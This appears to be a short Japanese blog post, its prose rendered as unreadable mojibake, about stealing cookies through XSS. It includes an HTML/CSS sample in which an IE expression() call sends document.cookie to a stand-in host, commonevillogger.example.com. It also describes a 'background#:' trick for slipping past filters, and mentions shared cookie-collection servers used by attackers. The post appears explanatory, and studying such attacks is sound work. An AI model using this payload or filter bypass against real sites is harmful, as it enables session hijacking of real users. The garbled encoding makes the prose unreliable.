cookieããé ãããã¾ã: æªæããå ±åé ããæ
<html> <body> <style type="text/css"> h1 { background#:/*;*/ expression('url(http://commonevillogger.example.com/log.php'+document.cookie+')'); } </style> <h1>heading</h1> </body> </html>
ä¸è¨ã¯Cookieãæªæãããµã¤ãã«é£ã°ãä¾ã§ããIEã®ã¿å¯¾å¿ã
ï¼ã¡ãªã¿ã«ãexpressionã使ã£ã¦ãã¦ãcommonevillogger.example.comã«ã¯ãCookieãï¼åããé£ã³ã¾ãããå人çã«ã¯æå¤ãªæãã§ããexpressionã使ã£ã¦alertãããããã¨ãã©ã¯ã©ã£ã½ããªã£ããããããã¯ããªãã¼ããä»è¾¼ãã§ãµã¼ãã«è² è·ãããã£ã¡ãã£ãäºæ
ã¨ããç¥ã£ã¦ããããã§ããAutoF5æ»æã¿ãããªãï¼
é話ä¼é¡ãæ¬é¡ã«ã¯ããã¾ããXSSæ»æã§Cookieãçã¿åºãéã«ã¯æªæããè
ã¯é©å®èªåã§ãµã¼ããç¨æãããã¡ãã§Cookieã®å
容ãåå¾ã»ä¿æãããã¨ã«ãªãã¾ãããµã¼ããç¨æãã以ä¸ããããã足ãã¤ãã¯ããªãã§ãããä¸ã®ãµã³ãã«ã§è¨ãã°http://commonevillogger.example.com/ã§ãã(ãã¡ããããã¯ä¾é¡ã§ããã¦ããã®ã§åãµã¼ãã§ããã)ãå
æ¥ãã¨ããã»ãã¥ãªãã£ç³»ã®blogãè¦ã¦ããããæªæããè
éãå
±åã§ä½¿ããCookieãé ããæãµã¼ããå®å¨ãã¦ãããã¨ãç¥ãã¾ãããå¿åãã¤ç¡æã§ä½¿ããã£ã½ãã§ããããããããµã¼ããä¹ã£åããªãå¨æ¿ã§ãæ°è»½ã«XSSã§æªããåºæ¥ã¦ãã¾ãä¸ã®ä¸ã«ãªã£ã¦ããããã§ããããããããã«ãªãã¾ãããã¾ãã¨ãããããã®ãµã¼ãã®URLãªã©ãã®æ¥è¨ã«æ¸ãã¯ããããã¾ããã§ããå
±åé ããæãªãã¦ãããã¾ãèãä»ããã®ã§ãããããããªãã
ã¤ãããã§æ縮ã§ãã以ä¸ä½è«ãä¸è¨ä¾ã§ã¯ãbackgournd#:ã¨ãªã£ã¦ãã¾ãããã®æããã£ã«ã¿ã¼ã§ãbackground:ããåãé¤ãã¦ããä¾ãã¿ããããã®ã§ãã¦â¦ãã¡ãã®ç®¡çè
ããã«ã¯ãããã§ã¯é§ç®ã§ãbackground ãã®ãã®ããªãã¨ããã¾ãããããCSSã§ä½¿ãã¨ã¹ã±ã¼ãã¨ããããã¾ãããçµæ§å¤§å¤ã§ããï¼ãã¨ãå ±åãããã¨ãããã¾ãããããæãããã